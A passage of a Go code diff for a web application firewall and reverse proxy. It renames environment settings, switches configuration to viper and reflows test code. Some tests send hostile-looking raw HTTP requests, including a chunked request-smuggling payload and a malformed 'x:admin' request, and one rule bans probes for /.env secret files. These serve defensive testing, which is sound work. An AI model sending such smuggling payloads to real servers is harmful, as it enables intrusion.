t, "X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
site, strconv.FormatInt(int64(len(smuggled)), 16)+"\r\n"+smuggled+"\r\n0\r\n\r\n")
"POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
strconv.FormatInt(
int64(len(smuggled)),
16,
)+"\r\n"+smuggled+"\r\n0\r\n\r\n",
)
if status != http.StatusOK { if status != http.StatusOK {
t.Errorf("status %d, want the app's 200", status) t.Errorf("status %d, want the app's 200", status)
} }
@@ -467,12 +440,8 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
wantStatus(t, site+bannedProbe, placed, http.StatusForbidden) wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
status := sendRaw( status := sendRaw(t, site, "GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
t, "X-Forwarded-For: "+placed+"\r\n\r\n")
site,
"GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
"X-Forwarded-For: "+placed+"\r\n\r\n",
)
if status != http.StatusBadRequest { if status != http.StatusBadRequest {
t.Errorf("status %d, want 400", status) t.Errorf("status %d, want 400", status)
} }
@@ -498,8 +467,7 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
wantStatus(t, site+"/", "2001:db8::1", http.StatusForbidden) wantStatus(t, site+"/", "2001:db8::1", http.StatusForbidden)
line := out.line(t, "path", bannedProbe) line := out.line(t, "path", bannedProbe)
if line["client_ip"] != "2001:db8::1" || if line["client_ip"] != "2001:db8::1" || line["default_disposition"] != nil {
line["default_disposition"] != nil {
t.Errorf("rproxy's line is %v", line) t.Errorf("rproxy's line is %v", line)
} }
} }
@@ -524,10 +492,7 @@ func TestAStatusWAFDoesNotTakeIsReportedAs599(t *testing.T) {
line := out.line(t, "path", "/") line := out.line(t, "path", "/")
if line["status"] != float64(status) { if line["status"] != float64(status) {
t.Errorf( t.Errorf("rproxy's line is %v, want the status the visitor got", line)
"rproxy's line is %v, want the status the visitor got",
line,
)
} }
id, _ := line["request_id"].(string) id, _ := line["request_id"].(string)
@@ -551,13 +516,12 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
} }
out := &output{} out := &output{}
//nolint:gosec // this test binary cmd := exec.CommandContext(t.Context(), binary) //nolint:gosec // this test binary
cmd := exec.CommandContext(t.Context(), binary)
cmd.Stdout = out cmd.Stdout = out
cmd.Env = append(os.Environ(), cmd.Env = append(os.Environ(),
commandForMain+"=rproxy", commandForMain+"=rproxy",
"SWRP_LISTEN_ADDR="+localhost+":0") "SWW_RPROXY_LISTEN_ADDR="+localhost+":0")
cmd.Env = append(cmd.Env, env...) cmd.Env = append(cmd.Env, env...)
exited := startProcess(t, cmd) exited := startProcess(t, cmd)
@@ -573,11 +537,7 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Errorf( t.Errorf("exit status %d, want 0; output:\n%s", status, out.text())
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Error("still running after being told to stop") t.Error("still running after being told to stop")
@@ -615,7 +575,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
addr, _ := startRProxyProcess(t, addr, _ := startRProxyProcess(t,
wafBackend+"="+backend.URL, wafBackend+"="+backend.URL,
"SWRP_UPSTREAM_URL="+startApp(t), "SWW_RPROXY_UPSTREAM_URL="+startApp(t),
"SSL_CERT_FILE="+certificates) "SSL_CERT_FILE="+certificates)
for name, headers := range map[string]string{ for name, headers := range map[string]string{
@@ -624,11 +584,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
"Connection": "Connection: anything\r\n", "Connection": "Connection: anything\r\n",
"a WebSocket upgrade": "Connection: Upgrade\r\nUpgrade: websocket\r\n", "a WebSocket upgrade": "Connection: Upgrade\r\nUpgrade: websocket\r\n",
} { } {
status := sendRaw( status := sendRaw(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n")
t,
addr,
"GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n",
)
if status != http.StatusForbidden { if status != http.StatusForbidden {
t.Errorf("with %s: status %d, want waf's 403", name, status) t.Errorf("with %s: status %d, want waf's 403", name, status)
} }
@@ -636,11 +592,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
select { select {
case protocol := <-protocols: case protocol := <-protocols:
if protocol != "HTTP/1.1" { if protocol != "HTTP/1.1" {
t.Errorf( t.Errorf("with %s: asked over %s, want HTTP/1.1", name, protocol)
"with %s: asked over %s, want HTTP/1.1",
name,
protocol,
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Errorf("with %s: waf was not asked", name) t.Errorf("with %s: waf was not asked", name)
@@ -661,11 +613,7 @@ func TestRProxyProcessLinesNameTheHostAndComeAtInfo(t *testing.T) {
line := out.line(t, "msg", "starting") line := out.line(t, "msg", "starting")
if line["instance"] != hostname || line["level"] != "INFO" { if line["instance"] != hostname || line["level"] != "INFO" {
t.Errorf( t.Errorf("rproxy's line is %v, want instance %s at INFO", line, hostname)
"rproxy's line is %v, want instance %s at INFO",
line,
hostname,
)
} }
} }
@@ -692,10 +640,10 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
defer stop() defer stop()
env := map[string]string{ env := map[string]string{
rproxyListenAddr: localhost + ":0", rproxyListenAddr: localhost + ":0",
"SWRP_UPSTREAM_URL": startApp(t), "SWW_RPROXY_UPSTREAM_URL": startApp(t),
rproxyTimeout: "60000", rproxyTimeout: "60000",
wafBackend: backend.URL, wafBackend: backend.URL,
} }
out := &output{} out := &output{}
exited := make(chan int, 1) exited := make(chan int, 1)
@@ -730,11 +678,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Errorf( t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
"rproxy's exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Error("rproxy still running, the report having been answered") t.Error("rproxy still running, the report having been answered")
@@ -773,7 +717,7 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
const ( const (
cutOffAfter = 5 * time.Second cutOffAfter = 5 * time.Second
upstreamSetting = "SWRP_UPSTREAM_URL" upstreamSetting = "SWW_RPROXY_UPSTREAM_URL"
) )
asked := make(chan struct{}) asked := make(chan struct{})
@@ -808,11 +752,7 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
}() }()
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string) addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
conn := sendAndKeepOpen( conn := sendAndKeepOpen(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
t,
addr,
"GET / HTTP/1.1\r\nHost: site.example\r\n\r\n",
)
select { select {
case <-asked: case <-asked:
@@ -836,11 +776,7 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Errorf( t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
"rproxy's exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Error("rproxy still running after the cut-off") t.Error("rproxy still running after the cut-off")
@@ -875,11 +811,7 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
message, _ := line["error"].(string) message, _ := line["error"].(string)
if !strings.HasPrefix(message, tc.setting+": ") { if !strings.HasPrefix(message, tc.setting+": ") {
t.Errorf( t.Errorf("start refused with %v, want it to name %s", line, tc.setting)
"start refused with %v, want it to name %s",
line,
tc.setting,
)
} }
}) })
} }
@@ -888,11 +820,7 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
func TestRProxyAddressInUseStopsTheStart(t *testing.T) { func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
t.Parallel() t.Parallel()
taken, err := (&net.ListenConfig{}).Listen( taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -911,7 +839,7 @@ func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
t.Errorf("exit status %d, want 1", status) t.Errorf("exit status %d, want 1", status)
} }
out.line(t, "msg", "cannot listen on SWRP_LISTEN_ADDR") out.line(t, "msg", "cannot listen on SWW_RPROXY_LISTEN_ADDR")
} }
func TestMainRunsRProxy(t *testing.T) { func TestMainRunsRProxy(t *testing.T) {
+38 -90
View File
@@ -20,6 +20,8 @@ import (
"syscall" "syscall"
"time" "time"
"github.com/spf13/viper"
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
@@ -38,7 +40,7 @@ import (
const shutdownTimeout = 5 * time.Second const shutdownTimeout = 5 * time.Second
// remoteLogStopTimeout is how long, as waf stops, the log lines still // remoteLogStopTimeout is how long, as waf stops, the log lines still
// waiting are sent to SWW_LOG_REMOTE_URL before they are given up. stdout has // waiting are sent to SWW_WAF_LOG_REMOTE_URL before they are given up. stdout has
// carried them. // carried them.
const remoteLogStopTimeout = 2 * time.Second const remoteLogStopTimeout = 2 * time.Second
@@ -59,8 +61,9 @@ commands:
type Params struct { type Params struct {
// Version is the version of the binary, set when it is built. // Version is the version of the binary, set when it is built.
Version string Version string
// LookupEnv reads an environment variable, normally os.LookupEnv. // Viper reads the settings, normally the viper config.NewViper returns
LookupEnv func(string) (string, bool) // for the process's environment.
Viper *viper.Viper
// Stdout receives the request log and the process's own messages. // Stdout receives the request log and the process's own messages.
Stdout io.Writer Stdout io.Writer
} }
@@ -79,11 +82,7 @@ func Main(version string) int {
syscall.SIGTERM, os.Interrupt) syscall.SIGTERM, os.Interrupt)
defer stop() defer stop()
params := Params{ params := Params{Version: version, Viper: config.NewViper(), Stdout: os.Stdout}
Version: version,
LookupEnv: os.LookupEnv,
Stdout: os.Stdout,
}
switch args[0] { switch args[0] {
case "rproxy": case "rproxy":
@@ -91,7 +90,7 @@ func Main(version string) int {
case "waf": case "waf":
return RunWAF(ctx, params) return RunWAF(ctx, params)
case "healthcheck": case "healthcheck":
return HealthCheck(ctx, args[1:], os.LookupEnv, os.Stderr) return HealthCheck(ctx, args[1:], params.Viper, os.Stderr)
default: default:
return printUsage(os.Stderr) return printUsage(os.Stderr)
} }
@@ -109,16 +108,18 @@ func printUsage(w io.Writer) int {
// ctx is done. It returns the process's exit status, 1 when waf cannot start. // ctx is done. It returns the process's exit status, 1 when waf cannot start.
func RunWAF(ctx context.Context, params Params) int { func RunWAF(ctx context.Context, params Params) int {
// Until the settings are read, the one message is an invalid setting's // Until the settings are read, the one message is an invalid setting's
// error, which every SWW_LOG_LEVEL lets through. // error, which every SWW_WAF_LOG_LEVEL lets through.
processLog := requestlog.NewProcessLogger(params.Stdout, processLog := requestlog.NewProcessLogger(params.Stdout,
config.InstanceName(params.LookupEnv), slog.LevelError) config.InstanceName(params.Viper), slog.LevelError)
cfg, err := config.FromEnvironment(params.LookupEnv) cfg, err := config.FromEnvironment(params.Viper)
if err != nil { if err != nil {
return cannotStart(processLog, "invalid setting", err) processLog.Error("invalid setting", "error", err.Error())
return 1
} }
// While SWW_LOG_REMOTE_URL is set, every line on stdout from here on // While SWW_WAF_LOG_REMOTE_URL is set, every line on stdout from here on
// is sent there too. // is sent there too.
stdout := params.Stdout stdout := params.Stdout
@@ -129,38 +130,13 @@ func RunWAF(ctx context.Context, params Params) int {
stdout = io.MultiWriter(params.Stdout, remote) stdout = io.MultiWriter(params.Stdout, remote)
} }
processLog = requestlog.NewProcessLogger( processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName, cfg.LogLevel)
stdout,
cfg.InstanceName,
cfg.LogLevel,
)
if remote != nil { if remote != nil {
stopSending := startSending(ctx, remote, processLog) stopSending := startSending(ctx, remote, processLog)
defer stopSending() defer stopSending()
} }
return runWAFWithSettings(
ctx,
params.Version,
cfg,
stdout,
remote,
processLog,
)
}
// runWAFWithSettings is the rest of RunWAF once the settings are read and
// the process log goes where they say. remote is nil unless
// SWW_LOG_REMOTE_URL is set.
func runWAFWithSettings(
ctx context.Context,
version string,
cfg *config.Config,
stdout io.Writer,
remote *remotelog.Sender,
processLog *slog.Logger,
) int {
// The state files and the alerts give times in UTC. // The state files and the alerts give times in UTC.
now := func() time.Time { return time.Now().UTC() } now := func() time.Time { return time.Now().UTC() }
@@ -173,25 +149,23 @@ func runWAFWithSettings(
Alerts: alertQueue, Alerts: alertQueue,
}) })
if err != nil { if err != nil {
return cannotStart(processLog, "cannot use the rule files", err) processLog.Error("cannot use the rule files", "error", err.Error())
return 1
} }
crs, err := waf.NewCoreRuleSet(cfg) crs, err := waf.NewCoreRuleSet(cfg)
if err != nil { if err != nil {
return cannotStart(processLog, "cannot use the Core Rule Set", err) processLog.Error("cannot use the Core Rule Set", "error", err.Error())
return 1
} }
server, err := newServer( server, err := newServer(cfg, stdout, processLog, now, ruleFiles, alertQueue, crs)
cfg,
stdout,
processLog,
now,
ruleFiles,
alertQueue,
crs,
)
if err != nil { if err != nil {
return cannotStart(processLog, "cannot use the lookup database", err) processLog.Error("cannot use the lookup database", "error", err.Error())
return 1
} }
if remote != nil { if remote != nil {
@@ -200,47 +174,28 @@ func runWAFWithSettings(
files, err := loadStateFiles(cfg, server, alertQueue, now, processLog) files, err := loadStateFiles(cfg, server, alertQueue, now, processLog)
if err != nil { if err != nil {
return cannotStart( processLog.Error("cannot use the state and cache files", "error", err.Error())
processLog,
"cannot use the state and cache files", return 1
err,
)
} }
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr) listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
if err != nil { if err != nil {
return cannotStart( processLog.Error("cannot listen on SWW_WAF_LISTEN_ADDR", "error", err.Error())
processLog,
"cannot listen on SWW_LISTEN_ADDR", return 1
err,
)
} }
processLog.Info("starting", processLog.Info("starting",
"version", version, "version", params.Version,
"address", listener.Addr().String(), "address", listener.Addr().String(),
"settings", cfg) "settings", cfg)
return serve( return serve(ctx, server, listener, files, ruleFiles, alertQueue, processLog)
ctx,
server,
listener,
files,
ruleFiles,
alertQueue,
processLog,
)
}
// cannotStart logs why waf cannot start, and returns its exit status.
func cannotStart(processLog *slog.Logger, message string, err error) int {
processLog.Error(message, "error", err.Error())
return 1
} }
// newServer returns the server waf runs, with the metrics of the alerts, // newServer returns the server waf runs, with the metrics of the alerts,
// after reading the lookup database while SWW_LOOKUP_SOURCE is file. A lookup // after reading the lookup database while SWW_WAF_LOOKUP_SOURCE is file. A lookup
// database that cannot be read is an error. // database that cannot be read is an error.
func newServer( func newServer(
cfg *config.Config, stdout io.Writer, processLog *slog.Logger, cfg *config.Config, stdout io.Writer, processLog *slog.Logger,
@@ -278,10 +233,7 @@ func newServer(
server.Metrics.AddAlerts(alertQueue) server.Metrics.AddAlerts(alertQueue)
if lookupFile != nil { if lookupFile != nil {
server.Metrics.AddLookupFile( server.Metrics.AddLookupFile(lookupFile.LastRead, lookupFile.ReadFailures)
lookupFile.LastRead,
lookupFile.ReadFailures,
)
} }
return server, nil return server, nil
@@ -334,7 +286,7 @@ func newAlertQueue(
} }
// newRemoteLogSender returns a sender of the log lines to // newRemoteLogSender returns a sender of the log lines to
// SWW_LOG_REMOTE_URL, with the settings for it. // SWW_WAF_LOG_REMOTE_URL, with the settings for it.
func newRemoteLogSender(cfg *config.Config) *remotelog.Sender { func newRemoteLogSender(cfg *config.Config) *remotelog.Sender {
return remotelog.New(remotelog.Params{ return remotelog.New(remotelog.Params{
URL: cfg.LogRemoteURL, URL: cfg.LogRemoteURL,
@@ -446,11 +398,7 @@ func serve(
err = files.WriteAll() err = files.WriteAll()
if err != nil { if err != nil {
processLog.Error( processLog.Error("writing the state and cache files failed", "error", err.Error())
"writing the state and cache files failed",
"error",
err.Error(),
)
return 1 return 1
} }
+2 -8
View File
@@ -22,10 +22,7 @@ func TestStopWaitsForTheSenderToFinish(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
took := stopHeldSender(t, time.Second) took := stopHeldSender(t, time.Second)
if took != time.Second { if took != time.Second {
t.Errorf( t.Errorf("the stop took %s, want the second the sender took", took)
"the stop took %s, want the second the sender took",
took,
)
} }
}) })
} }
@@ -62,10 +59,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
sender := remotelog.New(remotelog.Params{ sender := remotelog.New(remotelog.Params{
// No port is 65536, so each attempt to connect fails at once, // No port is 65536, so each attempt to connect fails at once,
// before it reaches the network. // before it reaches the network.
URL: &url.URL{ URL: &url.URL{Scheme: remotelog.SchemeTCP, Host: "127.0.0.1:65536"},
Scheme: remotelog.SchemeTCP,
Host: "127.0.0.1:65536",
},
Buffer: 1, Buffer: 1,
}) })
+186 -317
View File
@@ -20,6 +20,7 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest" "sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
"sneak.berlin/go/smallwebwaf/internal/sww" "sneak.berlin/go/smallwebwaf/internal/sww"
"sneak.berlin/go/smallwebwaf/internal/waf" "sneak.berlin/go/smallwebwaf/internal/waf"
@@ -34,22 +35,22 @@ const (
testVersion = "test" testVersion = "test"
// localhost is where the tests listen. // localhost is where the tests listen.
localhost = "127.0.0.1" localhost = "127.0.0.1"
listenAddr = "SWW_LISTEN_ADDR" listenAddr = "SWW_WAF_LISTEN_ADDR"
stateDir = "SWW_STATE_DIR" stateDir = "SWW_WAF_STATE_DIR"
stateWriteDelay = "SWW_STATE_WRITE_DELAY" stateWriteDelay = "SWW_WAF_STATE_WRITE_DELAY"
stateCounterInterval = "SWW_STATE_COUNTER_INTERVAL" stateCounterInterval = "SWW_WAF_STATE_COUNTER_INTERVAL"
cacheDir = "SWW_CACHE_DIR" cacheDir = "SWW_WAF_CACHE_DIR"
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY" rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS" rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
rulesDir = "SWW_RULES_DIR" rulesDir = "SWW_WAF_RULES_DIR"
lookupSource = "SWW_LOOKUP_SOURCE" lookupSource = "SWW_WAF_LOOKUP_SOURCE"
lookupDBPath = "SWW_LOOKUP_DB_PATH" lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
instanceName = "SWW_INSTANCE_NAME" instanceName = "SWW_WAF_INSTANCE_NAME"
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
// adminSecret is the SWW_ADMIN_TOKEN the tests set. // adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set.
adminSecret = "fedcba9876543210fedcba9876543210" adminSecret = "fedcba9876543210fedcba9876543210"
// instance is the SWW_INSTANCE_NAME the tests set where they look at // instance is the SWW_WAF_INSTANCE_NAME the tests set where they look at
// it. // it.
instance = "fsn1app1/blog" instance = "fsn1app1/blog"
// greeting is what the tests' app answers. // greeting is what the tests' app answers.
@@ -111,12 +112,8 @@ func (o *output) lineBeforeExit(
select { select {
case status := <-exited: case status := <-exited:
t.Fatalf( t.Fatalf("exit status %d while waiting for a line with msg %q; output:\n%s",
"exit status %d while waiting for a line with msg %q; output:\n%s", status, msg, o.text())
status,
msg,
o.text(),
)
case <-time.After(pollInterval): case <-time.After(pollInterval):
} }
} }
@@ -154,26 +151,24 @@ func (o *output) text() string {
} }
// run runs `sww waf` with the settings in env until ctx is done, // run runs `sww waf` with the settings in env until ctx is done,
// and returns its exit status. SWW_LOOKUP_SOURCE is off unless env sets it, // and returns its exit status. SWW_WAF_LOOKUP_SOURCE is off unless env sets it,
// so that no test sends GeoJS its clients' addresses. // so that no test sends GeoJS its clients' addresses.
func run(ctx context.Context, env map[string]string, out *output) int { func run(ctx context.Context, env map[string]string, out *output) int {
v := configtest.Viper(env)
if _, set := env["SWW_WAF_LOOKUP_SOURCE"]; !set {
v.Set("SWW_WAF_LOOKUP_SOURCE", "off")
}
// The cache files go beside the state files unless the test says
// otherwise.
if _, set := env[cacheDir]; !set && env[stateDir] != "" {
v.Set(cacheDir, env[stateDir])
}
return sww.RunWAF(ctx, sww.Params{ return sww.RunWAF(ctx, sww.Params{
Version: testVersion, Version: testVersion,
LookupEnv: func(name string) (string, bool) { Viper: v,
value, ok := env[name] Stdout: out,
if !ok && name == "SWW_LOOKUP_SOURCE" {
return "off", true
}
// The cache files go beside the state files unless the test
// says otherwise.
if !ok && name == cacheDir {
return env[stateDir], env[stateDir] != ""
}
return value, ok
},
Stdout: out,
}) })
} }
@@ -183,8 +178,8 @@ func TestInvalidSettingStopsTheStart(t *testing.T) {
out := &output{} out := &output{}
status := run(t.Context(), map[string]string{ status := run(t.Context(), map[string]string{
"SWW_BYTES_LIMIT_PER_MINUTE": "lots", "SWW_WAF_BYTES_LIMIT_PER_MINUTE": "lots",
instanceName: instance, instanceName: instance,
}, out) }, out)
if status != 1 { if status != 1 {
t.Errorf("exit status %d, want 1", status) t.Errorf("exit status %d, want 1", status)
@@ -195,7 +190,7 @@ func TestInvalidSettingStopsTheStart(t *testing.T) {
if line["type"] != "process" || line["instance"] != instance || if line["type"] != "process" || line["instance"] != instance ||
line["level"] != "ERROR" || line["level"] != "ERROR" ||
!strings.HasPrefix(message, "SWW_BYTES_LIMIT_PER_MINUTE: ") { !strings.HasPrefix(message, "SWW_WAF_BYTES_LIMIT_PER_MINUTE: ") {
t.Errorf("start refused with %v", line) t.Errorf("start refused with %v", line)
} }
} }
@@ -231,11 +226,7 @@ func TestShortTokenStopsTheStartUnshown(t *testing.T) {
func TestAddressInUseStopsTheStart(t *testing.T) { func TestAddressInUseStopsTheStart(t *testing.T) {
t.Parallel() t.Parallel()
taken, err := (&net.ListenConfig{}).Listen( taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -255,7 +246,7 @@ func TestAddressInUseStopsTheStart(t *testing.T) {
t.Errorf("exit status %d, want 1", status) t.Errorf("exit status %d, want 1", status)
} }
out.line(t, "msg", "cannot listen on SWW_LISTEN_ADDR") out.line(t, "msg", "cannot listen on SWW_WAF_LISTEN_ADDR")
} }
func TestServesUntilToldToStop(t *testing.T) { func TestServesUntilToldToStop(t *testing.T) {
@@ -319,11 +310,11 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
go func() { go func() {
exited <- run(ctx, map[string]string{ exited <- run(ctx, map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
rulesDir: t.TempDir(), rulesDir: t.TempDir(),
"SWW_BLOCKLIST_URLS": lists.URL + "/tor.txt", "SWW_WAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
"SWW_LOG_LEVEL": "warn", "SWW_WAF_LOG_LEVEL": "warn",
}, out) }, out)
}() }()
@@ -333,11 +324,7 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Fatalf( t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Fatal("still running after being told to stop") t.Fatal("still running after being told to stop")
@@ -430,7 +417,7 @@ func TestStateKeptAcrossRestarts(t *testing.T) {
func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) { func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) {
t.Parallel() t.Parallel()
const scope = "SWW_BAN_SCOPE_V4_PREFIX" const scope = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
@@ -491,14 +478,7 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
runUntilStopped(t, env, func(url string) { runUntilStopped(t, env, func(url string) {
path := filepath.Join(dir, "bans.json") path := filepath.Join(dir, "bans.json")
saveUntilAnswered( saveUntilAnswered(t, path, oneBan, url, "203.0.113.9", http.StatusForbidden)
t,
path,
oneBan,
url,
"203.0.113.9",
http.StatusForbidden,
)
wantStatus(t, url, "198.51.100.7", http.StatusOK) wantStatus(t, url, "198.51.100.7", http.StatusOK)
saveUntilAnswered(t, path, noBan, url, "203.0.113.9", http.StatusOK) saveUntilAnswered(t, path, noBan, url, "203.0.113.9", http.StatusOK)
}) })
@@ -557,7 +537,7 @@ func TestRuleFileAddedWhileRunningTakesEffect(t *testing.T) {
rulesDir: dir, rulesDir: dir,
// The requests sent until the rule takes effect must not break a // The requests sent until the rule takes effect must not break a
// rate limit, whose ban would refuse them too. // rate limit, whose ban would refuse them too.
"SWW_RATE_LIMIT_PER_MINUTE": "off", "SWW_WAF_RATE_LIMIT_PER_MINUTE": "off",
} }
out := runUntilStopped(t, env, func(url string) { out := runUntilStopped(t, env, func(url string) {
@@ -587,20 +567,12 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
dir := t.TempDir() dir := t.TempDir()
path := filepath.Join(dir, "00-default.rules") path := filepath.Join(dir, "00-default.rules")
err := os.WriteFile( err := os.WriteFile(path, []byte("# probes\nenv-file path bann ^/\\.env$\n"), 0o600)
path,
[]byte("# probes\nenv-file path bann ^/\\.env$\n"),
0o600,
)
if err != nil { if err != nil {
t.Fatalf("write the rule file: %v", err) t.Fatalf("write the rule file: %v", err)
} }
wantRulesRefused( wantRulesRefused(t, dir, path+`, line 2: the action "bann" is not log, block or ban`)
t,
dir,
path+`, line 2: the action "bann" is not log, block or ban`,
)
} }
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) { func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
@@ -608,13 +580,11 @@ func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
dir := filepath.Join(t.TempDir(), "rules.d") dir := filepath.Join(t.TempDir(), "rules.d")
wantRulesRefused(t, dir, "SWW_RULES_DIR cannot be read: open "+dir+ wantRulesRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
": no such file or directory") ": no such file or directory")
} }
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart( func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
path := filepath.Join(t.TempDir(), "crs-exclusions.conf") path := filepath.Join(t.TempDir(), "crs-exclusions.conf")
@@ -622,14 +592,14 @@ func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
status := run(t.Context(), map[string]string{ status := run(t.Context(), map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(), listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE": path, "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
}, out) }, out)
if status != 1 { if status != 1 {
t.Fatalf("exit status %d, want 1", status) t.Fatalf("exit status %d, want 1", status)
} }
line := out.line(t, "msg", "cannot use the Core Rule Set") line := out.line(t, "msg", "cannot use the Core Rule Set")
want := "SWW_CORE_RULE_SET_EXCLUSIONS_FILE: read the exclusions file: open " + want := "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE: read the exclusions file: open " +
path + ": no such file or directory" path + ": no such file or directory"
if line["error"] != want { if line["error"] != want {
@@ -654,7 +624,8 @@ func TestCoreRuleSetExclusionsFileThatCannotBeUsedStopsTheStartWhileTheCoreRuleS
status := run(t.Context(), map[string]string{ status := run(t.Context(), map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(), listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
"SWW_WAF_MODE": config.WAFModeOff, "SWW_CORE_RULE_SET_EXCLUSIONS_FILE": path, "SWW_WAF_CORE_RULE_SET_MODE": config.WAFModeOff,
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
}, out) }, out)
if status != 1 { if status != 1 {
t.Fatalf("%s: exit status %d, want 1", path, status) t.Fatalf("%s: exit status %d, want 1", path, status)
